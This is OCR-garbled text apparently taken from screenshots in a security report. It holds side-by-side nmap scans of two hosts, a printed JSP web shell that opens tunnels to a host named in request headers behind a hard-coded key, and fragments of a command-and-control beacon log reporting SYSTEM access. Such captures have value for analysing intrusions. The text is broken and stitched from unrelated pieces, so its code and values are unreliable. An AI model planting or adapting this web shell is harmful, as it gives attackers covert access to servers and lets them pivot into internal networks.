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root@XS4325421733:~# nmap -sT -A 1067 : root@xs4325421733:~# nmap -sT -A —

Starting Nmap 7.60 ( https://nmap.orqg ) at 2020-09-22 10:14 CST Starting Nmap 7.60 ( https://mman.org ) at 2020-89-22 10:16 CST
Nmap scan report for 161 Nmap scan report for 12¢
Host 1s up (0.036s latency). Host 1s up (©.016s latency).
Not shown: 984 closed ports Not shown: 984 closed ports
STATE SERVICE VERSION PORT STATE SERVICE VERSION
open ssh OpenSSH 5.3 (protocol 2.0) 22/tcp  open ssh OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey: | ssh-hostkey:

1024 39:48:ec:68:84:b7:9d:fe:e2:4b:43:20:34:24:21:56 (DSA) | 1024 76:65:dc:46:45:43:72:1d:b4:3a:76:b4:cd:ef:c0:81 (DSA)
aa:bc:2e:04:67:46:29:21:4b:08:44:52:82:b4:16:9c (RSA) |_ 2048 fd:34:50:df:43:34:cf:b4:50:fa:71:3f:66:c7:1a:88 (RSA)
filtered smtp 25/tcp  filtered smtp
filtered pop2 109/tcp filtered pop2
filtered pop3 11e/tcp filtered pop3
filtered msrpc 135/tcp filtered msrpc
filtered netbios-ssn 139/tcp filtered netbios-ssn
filtered imap 143/tcp filtered imap
filtered microsoft-ds 445/tcp filtered microsoft-ds
filterad smtps 465/tcp filtered smtps 4ﬂ1[J_I1§(ijﬁlﬁ§?
T P T s 587/tcp filtered submission
filtered http-rpc-epmap 593/tcp filtered http-rpc-epmap
filtered imaps 993/tcp filtered imaps
filtered pop3s 995/tcp filtered pop3s
filtered pptp 1723/tcp filtered pptp
i varail o 1935/tcp filtered rtmp

E 4444/tcp filtered krbs24

filtered krb524 Aggressive 0S guesses: Linux 3.2 (95%), Linux 3.1 (95%), AXIS 210A or 211 Network
Aggressive 0S guesses: Linux 3.2 (95%), Linux 3.1 (94%), AXIS 210A or 211 Network Camera (Linux 2.€35"_ 3 3 (92%), HIKVISION DS-7600 Linux Embedded NVR (Linux 2.6.10) (92%), Dahua

deo recorder (93%), Linux 2.6.32 - 3.10 (93%), Linux 3.16 (93%), Linux 2.6.32 (92%), Linux 2.6.32 g exact 0S matches for host (test conditions non-ideal).
No exact 0S5 matches for host (test conditions non-ideal). Network Distance: 19 hops
Network Distance: 19 hops

_ _ TRACEROUTE (using proto 1/icmp)
TRACEROUTE (using proto 1/icmp) HOP RT ADDRESS
HOP RTT ADDRESS
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[root@host \1# cat / , , iebapps/bi/xui/syst. jspl]
<%@page import="java.nio.ByteBuffer, java.net.InetSocketAddress, java.nio.channels.SocketChannel, java.util.Arrays
, java.lo.*, java.net.UnknownHostException, java.net.Socket"%>
<%
String cmd = request.getHeader("Sedlkvada");
if (emd != null) {
response.setHeader( "Xgqcmzwaw", "fzho9aAtjhlKdgA Mdofl64N1GELUgICwAMcszZHdpHNFbghBZx4N1QLS");
if (cmd.compareTo("XqRTONFfDAWNQGL1 FaOW8If5C P8zQtD51DgWdcsXySj xQY6vjcOFZqj gMzH") == 0) {
try {
String[] target ary = new String(b64de(request.getHeader("Ua"))).split("\\]|");
String target = target ary[0];
int port = Integer.parselnt(target ary[1l]);
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
session.setAttribute("socket", socketChannel);

espgpnse, setHeader( "Xggcmzwaw", "fzho9aAtihlKdgA Mdof 164N
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n> getuid

browser, ua, lang, referer, .
*] Tasked beacon to get userid

location, toplocation,
cookie, domain, title,
screen, flash

[+] host called home, sent: 8 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
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